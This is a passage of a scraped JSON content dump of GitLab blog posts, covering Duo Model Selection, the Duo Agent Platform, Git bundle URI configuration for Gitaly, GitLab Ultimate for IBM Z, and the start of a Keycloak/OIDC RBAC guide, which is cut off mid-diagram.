18.0.3, 17.11.5",{"title":1011,"description":708,"authors":1013,"heroImage":712,"date":998,"body":1015,"category":695,"tags":1016},[1014]," Rohit Shambhuni","Learn more about [this patch release](https://about.gitlab.com/releases/2025/06/25/patch-release-gitlab-18-1-1-released/) for GitLab Community Edition (CE) and Enterprise Edition (EE).",[716],{"featured":6,"template":678,"externalUrl":1018,"slug":1019},"https://about.gitlab.com/releases/2025/06/25/patch-release-gitlab-18-1-1-released/","gitlab-patch-release-18-1-1-18-0-3-17-11-5","content:en-us:blog:gitlab-patch-release-18-1-1-18-0-3-17-11-5.yml","Gitlab Patch Release 18 1 1 18 0 3 17 11 5","en-us/blog/gitlab-patch-release-18-1-1-18-0-3-17-11-5.yml","en-us/blog/gitlab-patch-release-18-1-1-18-0-3-17-11-5",{"_path":1025,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1026,"content":1029,"config":1035,"_id":1037,"_type":16,"title":1038,"_source":17,"_file":1039,"_stem":1040,"_extension":20},"/en-us/blog/speed-meets-governance-model-selection-comes-to-gitlab-duo",{"noIndex":6,"title":1027,"description":1028},"Speed meets governance: Model Selection comes to GitLab Duo","Duo Model Selection provides LLM control for each GitLab Duo feature, enabling organizations to adopt AI while meeting strict governance and compliance standards.",{"title":1027,"description":1028,"authors":1030,"heroImage":1032,"date":998,"body":1033,"category":791,"tags":1034},[1031],"Susie Bitters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669095/Blog/Hero%20Images/gitlabduo.png","New AI models are released almost daily, each with unique capabilities, performance characteristics, and compliance implications. At GitLab, we're committed to delivering cutting-edge AI capabilities by [continuously integrating the latest and highest-performing models as they become available](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/). However, we know this fast pace can create complex challenges for enterprise organizations whose model usage is subject to strict governance, compliance, and security standards.\n\nMeet [GitLab Duo Model Selection](https://docs.gitlab.com/user/gitlab_duo/model_selection/), a powerful new capability that gives teams control over the large language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) used in your organization. Available in private beta in the newly released [GitLab 18.1](https://about.gitlab.com/releases/2025/06/19/gitlab-18-1-released/) to all GitLab.com customers using Duo Enterprise, Duo Model Selection makes it easier to maintain governance, compliance, and security standards while helping accelerate innovation with agentic and generative AI. With Duo Model Selection, organizations can adopt GitLab Duo faster by selecting models from their pre-approved vendor list, versus the GitLab default model.\n\n## The benefits of GitLab Duo Model Selection\n\nDuo Model Selection gives GitLab.com namespace owners control over which AI models teams can use across different GitLab Duo features, though those without specialized requirements are recommended to use the GitLab default model. With Duo Model Selection, you can:\n\n* **Configure models at the organization level:** Set AI model preferences that apply across your organization’s entire namespace, ensuring consistent governance and compliance standards. Namespace owners can select models approved by their organization from GitLab's validated model catalog.\n\n* **Control models per GitLab Duo feature:** Different GitLab Duo features can use different models based on your specific needs.\n\nWatch Duo Model Selection in action:\n\n\u003Cdiv style=\"padding:62.21% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1094452473?autoplay=1\"badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Duo Model Selection Demo\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Join the Duo Model Selection private beta\n\nReady to take control of your AI governance? Duo Model Selection is currently in private beta for all GitLab.com customers using Duo Enterprise. To join the private beta, reach out to your GitLab account team. If you don’t have Duo, [sign up for a GitLab Duo trial](https://about.gitlab.com/gitlab-duo/#free-trial) today!\n> Find out everything that's new and exciting, including agentic AI capabilities, in GitLab 18 with our [on-demand launch event](https://about.gitlab.com/eighteen/).",[790,695],{"featured":92,"template":678,"slug":1036},"speed-meets-governance-model-selection-comes-to-gitlab-duo","content:en-us:blog:speed-meets-governance-model-selection-comes-to-gitlab-duo.yml","Speed Meets Governance Model Selection Comes To Gitlab Duo","en-us/blog/speed-meets-governance-model-selection-comes-to-gitlab-duo.yml","en-us/blog/speed-meets-governance-model-selection-comes-to-gitlab-duo",{"_path":1042,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1043,"content":1046,"config":1052,"_id":1054,"_type":16,"title":1055,"_source":17,"_file":1056,"_stem":1057,"_extension":20},"/en-us/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"noIndex":6,"title":1044,"description":1045},"GitLab Duo Agent Platform: What’s next for intelligent DevSecOps","GitLab Duo Agent Platform, a DevSecOps orchestration platform for humans and AI agents, leverages agentic AI for collaboration across the software development lifecycle.",{"heroImage":1047,"title":1044,"description":1045,"authors":1048,"date":1049,"body":1050,"category":791,"tags":1051},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750687578/esmflevxk5bf3eezjhwk.png",[793],"2025-06-24","I’m thrilled to introduce the next evolution of Duo Workflow: GitLab Duo Agent Platform. This innovative platform extends agentic capabilities across the software development lifecycle, enabling teams to work in parallel with multiple AI agents.\n\nImagine starting your day like this:\n\n* You assign one AI agent to conduct deep research on an epic your team is working on, provide the latest updates on all contributions from the past week, and suggest a release post based on recent feature additions.\n* In parallel, you delegate a handful of accessibility bugs to several agents for analysis and to make the necessary code changes to resolve them.\n* Meanwhile, you ask another agent to review your complicated code changes and provide feedback before sending them to your teammate for formal review.\n* Finally, when the security team pings you about a new vulnerability that needs investigation across your entire project, you hand that research task to your security agent.\n\nAll of this happens simultaneously, while you focus on architecture decisions, creative problem-solving, and strategic technical work. GitLab Duo Agent Platform will let you delegate tasks to five, 10, or even 100 specialized agents — all with full context of your project, not just your code, including CI job logs, planning work items, and so much more. You’re automating the tedious work you have to do, so you can focus on the work that inspires you.\n\n**This isn't about replacing developers. It's about amplifying human creativity and expertise by removing the friction from routine tasks.** That’s the future we’re building with GitLab Duo Agent Platform.\n\n## What is GitLab Duo Agent Platform?\n\nGitLab Duo Agent Platform will enable many-to-many collaboration between engineers and [AI agents](https://about.gitlab.com/topics/agentic-ai/) across the full software development lifecycle, designed to help teams dramatically improve productivity and cycle time.\n\nBuilt on GitLab’s secure foundation, GitLab Duo Agent Platform is customizable and extendable. It empowers developers to build agents to tackle all kinds of software engineering problems, leveraging context across your entire software development lifecycle.\n\nGitLab Duo Agent Platform will go beyond code creation with specialized agents and custom workflows that can help with a nearly unlimited list of activities, including:\n\n* Issue implementation\n* Large-scale migrations/dependency upgrades\n* Automated documentation building/release posts\n* Fixing broken pipelines\n* Incident research support\n* Deep research of status and information on topics\n* Backlog administration\n* Vulnerability resolution\n* Reviews for specific types of code (e.g. database)\n* Quick internal tool building based on existing build blocks\n* and many more!\n\nYou will be able to use our agents out of the box as well as customize and extend them. We’re currently beta testing GitLab Duo Agent Platform with dozens of customers and will open beta access to more teams soon.\n\nWatch GitLab Duo Agent Platform in action:\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1095679084?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Platform Demo Clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Choose your tools, your models, and your agents\n\nConsistent with GitLab’s commitment to being an open platform, GitLab agents will seamlessly interoperate with your choice of code-authoring developer tools via standard model context protocol (MCP) and the agent-to-agent (A2A) framework, whether you’re using Cursor, Claude Code, Windsurf, OpenAI Codex, or others.\n\nThe platform will accept code contributions from any development tool in your stack, whether that code was written by a human developer or generated by an AI agent. This means your existing workflows and preferred tools will continue to work seamlessly as you integrate agent capabilities.\n\nGitLab Duo Agent Platform will work with any approved language model that [meets our selection criteria](https://about.gitlab.com/ai-transparency-center/#ai-continuity-plan). For organizations with strict security requirements, it will support approved self-hosted models running in completely air-gapped environments. Your infrastructure requirements and security policies won’t limit your ability to benefit from agentic development.\n\n## Context is everything, and your GitLab Duo agents have it\n\nThe difference between a helpful AI tool and a truly intelligent agent comes down to context. With GitLab Duo Agent Platform, agents don't work in isolation — they're deeply integrated into the platform where development work happens.\n\nEvery agent will automatically understand the full picture of your projects, including your open issues and their history, the merge requests that resolved them, the structure and rationale behind your code, your CI/CD pipeline configurations, security findings, compliance requirements, and the intricate relationships between all these components.\n\nJust like your human team members, agents have all the context to help you ship secure software faster. Instead of just answering questions about code, they will be able to provide insights about how a proposed change might affect your deployment pipeline or suggest security improvements based on your existing compliance rules. We believe that the more your team works within GitLab’s DevSecOps platform, the smarter your agents will become.\n\n## Stay in control while agents scale your team\n\nBuilding trust with AI agents isn't fundamentally different from building trust with new team members. You need to see their work, understand their approach, and gradually increase their responsibilities as they prove their competence.\n\nThat's the philosophy behind our agent approval workflow. Before any agent makes changes to your code or environment, it will present you with a clear plan: what it understands about the issue, the approach it will take, and the specific actions it wants to perform. You’ll then get the opportunity to review, approve, or redirect as needed. Over time, as agents consistently deliver quality work, you will be able to grant them greater autonomy for routine tasks while maintaining oversight for complex or critical work.\n\n## Built for community and customization\n\nGitLab has always thrived on community contributions, and this year marked a milestone with record-breaking customer contributions to our platform. Now we're extending that same collaborative energy to AI agents through our open framework approach.\n\nGitLab Duo Agent Platform isn't just about the agents we build — it's about empowering you and the broader community to create specialized agents that solve your unique engineering challenges. Whether you need an agent that understands your specific coding standards, integrates with your custom toolchain, or handles domain-specific tasks, the platform will give you the building blocks to make it happen.\n\nThis community-driven model creates a virtuous cycle that leverages the strength of the GitLab community through global sharing, similar to our [CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/). Diverse real-world use cases drive innovation. Enterprise feedback ensures reliability and security. And shared solutions benefit everyone. It's the same collaborative approach that has made GitLab successful, now applied to the frontier of agentic development.\n\n## How to get started\n\nIf you've been experimenting with [GitLab Duo Agentic Chat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/), now included with every GitLab 18 Premium and Ultimate GitLab.com user license, you've already gotten a taste of what's possible with AI agents in your development workflow.\n\nTo see what GitLab Duo Agent Platform can do and what we’re working on, check out the [demos in the recording of our annual GitLab 18 release event](https://about.gitlab.com/eighteen/).\n\nWant to be among the first to experience it? Sign up for the GitLab [Duo Agent Platform beta waitlist](https://about.gitlab.com/gitlab-duo/agent-platform/). This summer, we'll be opening access to more teams, with new agent features coming out in GitLab 18's upcoming releases throughout the year. We expect general availability this winter.\n\n*Disclaimer: This presentation contains information related to upcoming products, features, and functionality. It is important to note that the information in this presentation is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this presentation and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.*\n\n## Learn more\n\n- [From vibe coding to agentic AI: A roadmap for technical leaders](https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [DevOps automation and AI agents](https://about.gitlab.com/topics/agentic-ai/devops-automation-ai-agents/)\n- [AI-augmented software development: Agentic AI for DevOps](https://about.gitlab.com/topics/agentic-ai/ai-augmented-software-development/)\n- [AI-driven code analysis: The new frontier in code security](https://about.gitlab.com/topics/agentic-ai/ai-code-analysis/)",[790,943,736,695],{"featured":92,"template":678,"slug":1053},"gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops","content:en-us:blog:gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","Gitlab Duo Agent Platform What Is Next For Intelligent Devsecops","en-us/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","en-us/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"_path":1059,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1060,"content":1063,"config":1070,"_id":1072,"_type":16,"title":1073,"_source":17,"_file":1074,"_stem":1075,"_extension":20},"/en-us/blog/reduce-the-load-on-gitlab-gitaly-with-bundle-uri",{"noIndex":6,"title":1061,"description":1062},"Reduce the load on GitLab Gitaly with bundle URI","Discover what the bundle URI Git feature is, how it is integrated into Gitaly, configuration best practices, and how GitLab users can benefit from it.",{"title":1061,"description":1062,"heroImage":1064,"date":1049,"body":1065,"category":695,"tags":1066,"authors":1068},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099013/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2814%29_6VTUA8mUhOZNDaRVNPeKwl_1750099012960.png","Gitaly plays a vital role in the GitLab ecosystem — it is the server\ncomponent that handles all Git operations. Every push and pull made to/from\na repository is handled by Gitaly, which has direct access to the disk where\nthe actual repositories are stored. As a result, when Gitaly is under heavy\nload, some operations like CI/CD pipelines and browsing a repository in the\nGitLab UI can become quite slow. This is particularly true when serving\nclones and fetches for large and busy monorepos, which can consume large\namounts of CPU and memory.\n\n\n[Bundle URI](https://docs.gitlab.com/administration/gitaly/bundle_uris/) takes significant load off of Gitaly servers during clones by allowing Git to pre-download a bundled repository from object storage before calling the Gitaly servers to fetch the remaining objects.\n\n\nHere is a graph that shows the difference between clones without and with bundle URI.\n\n\n![Graph that shows the difference between clones without and with bundle URI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750705069/rvbm4ru1w58msd6zv4x7.png)\n\n\nThis graph shows the results of a small test we ran on an isolated GitLab installation, with Gitaly running on a machine with 2 CPUs. We wanted to test bundle URI with a large repository, so we pushed the [GitLab repository](https://gitlab.com/gitlab-org/gitlab) to the instance. We also generated a bundle beforehand.\n\n\nThe big CPU spike is from when we performed a single clone of the GitLab repository with bundle URI disabled. It's quite noticeable. A little later, we turned on bundle URI and launched three concurrent clones of the GitLab repository. Sure enough, turning on bundle URI provides massive performance gain. We can't even distinguish the CPU usage of the three clones from normal usage.\n\n\n## Configure Gitaly to use bundle URI\n\n\nTo enable bundle URI on your GitLab installation, there are a couple of things you need to configure.\n\n\n### Create a cloud bucket\n\n\nBundles need to be stored somewhere. The ideal place is in a cloud storage bucket. Gitaly uses the [gocloud.dev](https://pkg.go.dev/gocloud.dev) library to read and write from cloud storage. Any cloud storage solution supported by this library can be used. Once you have a cloud bucket URL, you can add it in the Gitaly configuration here:\n\n\n```toml\n[bundle_uri]\ngo_cloud_url = \"\u003Cbucket-uri>\"\n```\n\n\nIt must be noted that Gitaly does not manage the lifecycle of the bundles stored in the bucket. To avoid cost issues, object lifecycle policies must be enabled on the bucket in order to delete unused or old objects.\n\n\n### Enable the feature flags\n\n\nThere are two feature flags to enable:\n\n\n- `gitaly_bundle_generation` enables [auto-generation](#auto-generated) of bundles.\n\n\n- `gitaly_bundle_uri` makes Gitaly advertise bundle URIs when they are available (either manually created or auto-generated) and allows the user to [manually](#manual) generate bundles.\n\n\nThese feature flags can be enabled at-large on a GitLab installation, or per repository. See the [documentation on how to enable a GitLab feature behind a feature flag](https://docs.gitlab.com/administration/feature_flags/#how-to-enable-and-disable-features-behind-flags).\n\n\n### How to generate bundles\n\n\nGitaly offers two ways for users to use bundle URI: a [manual](#manual) way and an [auto-generated](#auto-generated) way.\n\n\n#### Manual\n\n\nIt is possible to create a bundle manually by connecting over SSH with the Gitaly node that stores the repository you want to create a bundle for, and run the following command:\n\n```shell\nsudo -u git -- /opt/gitlab/embedded/bin/gitaly bundle-uri \n--config=\u003Cconfig-file>\n--storage=\u003Cstorage-name>\n--repository=\u003Crelative-path>\n```\n\nThis command will create a bundle for the given repository and store it into the bucket configured above. When a subsequent `git clone` request will reach Gitaly for the same repository, the bundle URI mechanism described above will come into play.\n\n\n#### Auto-generated\n\n\nGitaly can also generate bundles automatically, using a heuristic to determine if it is currently handling frequent clones for the same repository.\n\n\nThe current heuristic keeps track of the number of times a `git fetch` request is issued for each repository. If the number of requests reaches a certain `threshold` in a given time `interval`, a bundle is automatically generated. Gitaly also keeps track of the last time it generated a bundle for a repository. When a new bundle should be regenerated, based on the `threshold` and `interval`, Gitaly looks at the last time a bundle was generated for the given repository. It will only generate a new bundle if the existing bundle is older than some `maxBundleAge` configuration. The old bundle is overwritten. There can only be one bundle per repository in cloud storage.\n\n\n## Using bundle URI\n\n\nWhen a bundle exists for a repository, it can be used by the `git clone` command.\n\n\n### Cloning from your terminal\n\n\nTo clone a repository from your terminal, make sure your Git configuration enables bundle URI. The configuration can be set like so:\n\n\n```shell\ngit config --global transfer.bundleuri true\n```\n\nTo verify that bundle URI is used during a clone, you can run the `git clone` command with `GIT_TRACE=1` and see if your bundle is being downloaded:\n```shell\n➜  GIT_TRACE=1 git clone https://gitlab.com/gitlab-org/gitaly\n...\n14:31:42.374912 run-command.c:667       trace: run_command: git-remote-https '\u003Cbundle-uri>'\n...\n```\n\n### Cloning during CI/CD pipelines\n\n\nOne scenario where using bundle URI would be beneficial is during a CI/CD pipeline, where each job needs a copy of the repository in order to run. Cloning a repository during a CI/CD pipeline is the same as cloning a repository from your terminal, except that the Git client in this case is the GitLab Runner. Thus, we need to configure the GitLab Runner in such a way that it can use bundle URI.\n\n\n**1. Update the helper-image**\n\n\nThe first thing to do to configure the GitLab Runner is to [overwrite the helper-image](https://docs.gitlab.com/runner/configuration/advanced-configuration/#override-the-helper-image) that your GitLab Runner instances use. The `helper-image` is the image that is used to run the process of cloning a repository before the job starts. To use bundle URI, the image needs the following:\n\n\n- Git Version 2.49.0 or later\n\n\n- [`GitLab Runner helper`](https://gitlab.com/gitlab-org/gitlab-runner/-/tree/main/apps/gitlab-runner-helper?ref_type=heads) Version 18.1.0 or later\n\n\nThe helper-images can be found [here](https://gitlab.com/gitlab-org/gitlab-runner/container_registry/1472754?orderBy=PUBLISHED_AT&sort=desc&search[]=v18.1.0). Select an image that corresponds to the OS distribution and the architecture you use for your GitLab Runner instances, and verify that the image satisfies the requirements.\n\n\nAt the time of writing, the `alpine-edge-\u003Carch>-v18.1.0*` tag meets all requirements.\n\nYou can validate the image meets all requirements with:\n\n```shell\ndocker run -it \u003Cimage:tag>\n$ git version ## must be 2.49.0 or newer\n$ gitlab-runner-helper -v ## must be 18.0 or newer\n```\n\nIf you do not find an image that meets the requirements, you can also use the helper-image as a base image and install the requirements yourself in a custom-built image that you can host on [GitLab Container Registry](https://docs.gitlab.com/user/packages/container_registry/).\n\n\nOnce you have found the image you need, you must configure your GitLab Runner instances to use it by updating your `config.toml` file:\n\n\n```toml\n[[runners]]\n (...)\n executor = \"docker\"\n [runners.docker]\n    (...)\n    helper_image = \"image:tag\" ## \u003C-- put the image name and tag here\n```\n\n\nOnce the configuration is changed, you must restart the runners for the new configuration to take effect.\n\n\n**2. Turn on the feature flag**\n\n\nNext, you must enable the `FF_USE_GIT_NATIVE_CLONE` [GitLab Runner feature flags](https://docs.gitlab.com/runner/configuration/feature-flags/) in your `.gitlab-ci.yml` file. To do that, simply add it as a variable and set to `true` :\n\n```yaml\nvariables:\n  FF_USE_GIT_NATIVE_CLONE: \"true\"\n```\n\n\nThe `GIT_STRATEGY` must also be [set to `clone`](\u003Chttps://docs.gitlab.com/ci/runners/configure_runners/#git-strategy>), as Git bundle URI only works with `clone` commands.\n\n\n## How bundle URI works\n\n\nWhen a user clones a repository with the `git clone` command, a process called [`git-receive-pack`](https://git-scm.com/docs/git-receive-pack) is launched on the client's machine. This process communicates with the remote repository's server (it can be over HTTP/S, SSH, etc.) and asks to start a [`git-upload-pack`](https://git-scm.com/docs/git-receive-pack) process. Those two processes then exchange information using the Git protocol (it must be noted that bundle URI is only supported with [Git protocol v2](https://git-scm.com/docs/protocol-v2)). The capabilities both processes support and the references and objects the client needs are among the information exchanged. Once the Git server has determined which objects to send to the client, it must package them into a packfile, which, depending on the size of the data it must process, can consume a good amount of resources.\n\n\nWhere does bundle URI fit into this interaction? If bundle URI is advertised as a capability from the `upload-pack` process and the client supports bundle URI, the Git client will ask the server if it knows about any bundle URIs. The server sends those URIs back and the client downloads those bundles.\n\n\nHere is a diagram that shows those interactions:\n\n\n```mermaid\n\nsequenceDiagram\n\n\n    participant receive as Client\n\n\n    participant upload as Server\n\n\n    participant cloud as File server\n\n\n    receive ->> upload: issue git-upload-pack\n\n\n    upload -->> receive: list of server capabilities\n\n\n    opt if bundle URI is advertised as a capability\n\n\n    receive ->> upload: request bundle URI\n\n\n    upload -->> receive: bundle URI\n\n\n    receive ->> cloud: download bundle at URI\n\n\n    cloud -->> receive: bundle file\n\n\n    receive ->> receive: clone from bundle\n\n\n    end\n\n\n    receive ->> upload: requests missing references and objects\n\n\n    upload -->> receive: packfile data\n\n```\n\n\nAs such, Git [bundle URI](https://git-scm.com/docs/bundle-uri) is a mechanism by which, during a `git clone`, a Git server can advertise the URI of a bundle for the repository being cloned by the Git client. When that is the case, the Git client can clone the repository from the bundle and request from the Git server only the missing references or objects that were not part of the bundle. This mechanism really helps to alleviate pressure from the Git server.\n\n\n## Alternatives\n\n\nGitLab also has a feature [Pack-objects cache](https://docs.gitlab.com/administration/gitaly/configure_gitaly/#pack-objects-cache). This feature works slightly differently than bundle URI. When the server packs objects together into a so-called packfile, this feature will keep that file in the cache. When another client needs the same set of objects, it doesn't need to repack them, but it can just send the same packfile again.\n\n\nThe feature is only beneficial when many clients request the exact same set of objects. In a repository that is quick-changing, this feature might not give any improvements. With bundle URI, it doesn't matter if the bundle is slightly out-of-date because the client can request missing objects after downloading the bundle and apply those changes on top. Also bundle URI in Gitaly stores the bundles on external storage, which the Pack-objects Cache stores them on the Gitaly node, so using the latter doesn't reduce network and I/O load on the Gitaly server.\n\n\n## Try bundle URI today\n\n\nYou can try the bundle URI feature in one of the following ways:\n\n\n* Download a [free, 60-day trial version of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n\n\n* If you already run a self-hosted GitLab installation, upgrade to 18.1.\n\n\n* If you can't upgrade to 18.1 at this time, [download GitLab](https://about.gitlab.com/install/) to a local machine.",[695,943,1067],"git",[1069],"Olivier Campeau",{"featured":6,"template":678,"slug":1071},"reduce-the-load-on-gitlab-gitaly-with-bundle-uri","content:en-us:blog:reduce-the-load-on-gitlab-gitaly-with-bundle-uri.yml","Reduce The Load On Gitlab Gitaly With Bundle Uri","en-us/blog/reduce-the-load-on-gitlab-gitaly-with-bundle-uri.yml","en-us/blog/reduce-the-load-on-gitlab-gitaly-with-bundle-uri",{"_path":1077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1078,"content":1081,"config":1089,"_id":1091,"_type":16,"title":1092,"_source":17,"_file":1093,"_stem":1094,"_extension":20},"/en-us/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"noIndex":6,"description":1079,"title":1080},"A new offering from GitLab and IBM bridges mainframe and cloud-native development with seamless integration, CI/CD runner support, end-to-end visibility, and cost efficiency. ","GitLab Ultimate for IBM Z: Modern DevSecOps for mainframes",{"title":1080,"description":1079,"body":1082,"category":695,"tags":1083,"authors":1084,"heroImage":1087,"date":1088},"GitLab and IBM have partnered to solve a fundamental disconnect in enterprise development: enabling mainframe developers to work with the same modern tools, workflows, and collaboration features as their distributed counterparts. GitLab Ultimate for IBM Z, a GitLab-certified, integrated DevSecOps solution tailored for the mainframe environment, does just that — allowing organizations to modernize their mainframe development workflows by facilitating a seamless migration from outdated legacy library managers. With CI/CD pipelines running natively on IBM z/OS, customers experience accelerated innovation and reduced operational costs.\n\n## Challenges of today's mainframe development\n\nEnterprise organizations that use IBM Z systems for mission-critical workloads face challenges that conventional DevSecOps tools aren’t equipped to address. Cloud-native teams benefit from modern [CI/CD](https://about.gitlab.com/topics/ci-cd/) pipelines, collaborative development, and automated testing. In contrast, mainframe teams are often left behind — stuck with outdated tools that lead to costly inefficiencies and operational silos.\n\nTeams often resort to workarounds, such as SSH connections and manual file transfers, which create security vulnerabilities and audit difficulties. When compliance requirements are stringent, these improvised solutions become unacceptable risks. Meanwhile, organizations maintain expensive parallel toolchains, with legacy mainframe development tools carrying premium licensing costs while delivering limited functionality compared to modern alternatives.\n\nThis fragmentation creates two problems: slower delivery cycles and difficulty attracting developers who expect modern development experiences.\n\n> **\"GitLab Ultimate for IBM Z represents an important step in addressing a long-standing industry challenge. IDC research shows that mainframe developers often work with legacy tooling that contributes to delivery inefficiencies and makes it harder to attract new talent. With this offering, modern DevSecOps capabilities and unified workflows are brought directly to the mainframe. This empowers developers to work more collaboratively and efficiently, while helping organizations accelerate innovation and integrate mainframe development into broader digital transformation strategies.\"** - Katie Norton, Research Manager, DevSecOps and Software Supply Chain Security at IDC\n\n## Unified development environments\n\nTrue modernization means more than just updating mainframe development. It means creating a unified platform where mainframe, cloud-native, web, and mobile development teams collaborate seamlessly.\n\nGitLab Ultimate for IBM Z enables developers to use consistent workflows whether they're deploying to z/OS, cloud, or on-premises infrastructure — knowledge transfers between teams instead of staying siloed. Organizations can modernize incrementally without business disruption, as legacy systems continue operating while teams adopt modern practices at their own pace.\n\nAs organizations pursue hybrid cloud strategies, GitLab provides the foundation for applications that span mainframe and cloud-native environments.\n\n## What is GitLab Ultimate for IBM Z?\n\nGitLab Ultimate for IBM Z delivers native z/OS Runner support, enabling seamless CI/CD pipeline execution directly on your mainframe infrastructure. This GitLab-certified solution helps eliminate the need for complex workarounds while maintaining the security and reliability your enterprise applications demand.\n\nThe combination of GitLab's comprehensive DevSecOps platform with IBM's deep mainframe expertise creates something unique in the market: a certified solution that provides a true bridge between enterprise legacy systems and cloud-native innovation.\n\n## GitLab Ultimate for IBM Z capabilities\n\nGitLab Ultimate for IBM Z provides enterprise teams with the tools they need to modernize mainframe development while preserving critical business systems.\n\n**Native z/OS Runner support** helps eliminate security risks and scalability bottlenecks associated with remote connections, while accelerating delivery through CI/CD pipelines that execute directly where your mainframe code resides.\n\n**Unified Source Code Management** modernizes your toolchain by replacing expensive legacy library managers with GitLab's searchable, version-controlled repository system, helping reduce licensing costs and maintenance overhead.\n\n**Seamless integration** with IBM Developer for z/OS Enterprise Edition (IDzEE) delivers faster software releases through dependency-based builds, automated code scanning, and comprehensive debugging tools within familiar developer environments, enhancing both quality and security.\n\n**End-to-end visibility** across mainframe and distributed environments provides comprehensive project management from planning to production, enabling automated DevOps workflows that help retain talent through modern, next-generation development tools.\n\n## Modernize your mainframe development environment today\n\nGitLab Ultimate for IBM Z is available now for organizations ready to transform their mainframe development experience. To learn more, visit the [GitLab and IBM partnership page](https://about.gitlab.com/partners/technology-partners/ibm/).",[282,695,110,943],[1085,1086],"Mike Flouton","Andy Bradfield","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750440008/myqt5vcjlffh8sszw507.png","2025-06-23",{"featured":92,"template":678,"slug":1090},"gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes","content:en-us:blog:gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","Gitlab Ultimate For Ibm Z Modern Devsecops For Mainframes","en-us/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","en-us/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"_path":1096,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1097,"content":1100,"config":1109,"_id":1111,"_type":16,"title":1112,"_source":17,"_file":1113,"_stem":1114,"_extension":20},"/en-us/blog/automating-role-based-access-control-rbac-at-scale",{"noIndex":6,"title":1098,"description":1099},"Automating role-based access control (RBAC) at scale","This guide details setting up GitLab + Keycloak + OIDC for RBAC, covering planning, Docker configuration, and automated access governance for DevSecOps.",{"title":1098,"description":1099,"heroImage":1101,"date":1102,"body":1103,"category":674,"tags":1104,"authors":1105},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659561/Blog/Hero%20Images/securitycheck.png","2025-06-20","Security starts with structure. Building a scalable and secure development platform begins with getting the fundamentals right — especially role-based access control (RBAC).\n\nTo help our customers scale effectively, we developed the RBAC Accelerator — a modular, outcome-driven enablement program that supports large organizations in defining, enforcing, and scaling access policies across GitLab.\n\nThis foundation enables broader transformation. For example, the Secure SDLC Accelerator, built on top of the RBAC Accelerator, empowers customers to integrate compliance, security, and DevSecOps best practices into their workflows.\n\nGitLab customer [Lely](https://www.lelyna.com/us/), a major Dutch manufacturer of agricultural machines and robots, used this approach to migrate to GitLab Dedicated. Lely automated user provisioning via Azure AD using OpenID Connect (OIDC), enforced [least-privilege policies](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), and created a scalable, reusable access model to support their future development initiatives.\n\nIn this guide, we’ll take you through a hands-on implementation example of GitLab + [Keycloak](https://www.keycloak.org/) + OIDC, covering everything from running the setup in a Docker environment to automating role mapping, designing a scalable group hierarchy, and aligning GitLab access controls with organizational structure and compliance goals.\n\nThis is a local demo setup intended for proof-of-concept purposes only.\n\nWhether you’re just starting out or optimizing at scale, this modular foundation ensures you’re not just securing access — you’re enabling everything that comes next.\n\n## Getting started with access control planning\n\nBefore implementing any tooling, it’s essential to understand your access landscape. \n\nConsider:\n- What GitLab resources need protection (projects, groups, environments)?\n- Who are your personas (Developers, Maintainers, Guests, etc.)?\n- What organizational units (departments, cost centers) should govern access?\n- How does your IdP structure (Keycloak) define users and roles?\n\nUse this stage to draft your:\n- Access control matrix\n- GitLab group hierarchy (team- or product-based)\n- Least privilege policy assumptions\n\nSample group hierarchy \n\n```mermaid\ngraph TD\n    Root[\"Root (Root Group)\"]\n    FirmwareTeam[\"Firmware-Team\"]\n    FirmwareDevelopers[\"Developers (GitLab Developer Role)\"]\n    FirmwareMaintainers[\"Maintainers (GitLab Maintainer Role)\"]\n    FirmwareReporters[\"Reporters (GitLab Reporter 